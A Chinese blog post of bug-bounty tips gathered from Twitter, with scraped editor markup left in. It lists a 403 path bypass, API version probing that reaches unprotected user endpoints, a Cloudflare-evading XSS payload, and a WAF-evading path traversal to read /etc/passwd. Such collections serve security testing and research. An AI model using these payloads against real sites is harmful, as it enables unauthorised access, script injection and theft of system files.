干货 | Twitter渗透技巧搬运工（四）

margin

干货 | Twitter渗透技巧搬运工（四）

​Bug type: 403 Bypass

1. site[.]com/env => 403 Forbidden
   
2. site[.]com/env/HTTPS2 => Bypassed

复制代码

​

编辑

​

编辑
Bug Bounty Dorks

​

编辑
API hackingAPI hacking Status: [Dup] Internally known
Tip: Check endpoint's on different api versions

1. 1. GET /v2/users or /v2/users.json -> 403
   
2. 2. GET /v3/users -> 403
   
3. 3. GET /v3/users.json -> 200
   
4. 4. GET /v4/users -> 200
   
5. 5. POST /v4/users -> 200 [Users created]

复制代码

bugbounty poc集合

1. https://github.com/zeroc00I/AllVideoPocsFromHackerOne/tree/main/weakness

复制代码

命令注入备忘录

​

编辑
Cloudfalre XSS Bypass

1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22%5C%22%3E%3CsVg%2FOnLuFy%3D%5C%22X%3Dy%5C%22oNloaD%3D%3B1%5Econfirm(1)%3E%2F%60%60%5E1%2F%2F%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">"><sVg/OnLuFy="X=y"oNloaD=;1^confirm(1)>/``^1//</code></pre>
   
2. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.1.9="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""></span>

复制代码

来源：https://github.com/HernanRodriguez1
补充阅读：XSS 绕过 CLOUDFLARE + 过滤器

1. <pre class="cke_widget_element" data-cke-widget-data="%7B%22code%22%3A%22https%3A%2F%2F0xjin.medium.com%2Fnew-xss-bypass-cloudflare-filters-2a878c01d312%22%2C%22classes%22%3Anull%7D" data-cke-widget-keep-attr="0" data-cke-widget-upcasted="1" data-widget="codeSnippet"><code class="hljs">https://0xjin.medium.com/new-xss-bypass-cloudflare-filters-2a878c01d312</code></pre>
   
2. <span class="cke_reset cke_widget_drag_handler_container" style="background: url(" https:="" csdnimg.cn="" release="" blog_editor_html="" release2.1.9="" ckeditor="" plugins="" widget="" images="" handle.png")="" rgba(220,="" 220,="" 0.5);="" top:="" 0px;="" left:="" 0px;"=""></span>

复制代码

本地文件包含 WAF (Cloudflare) bypass

1. 
   
2. ../../etc/passwd = 403 Forbidden
   
3. ../../etc/random/../passwd = 200 OK

复制代码

​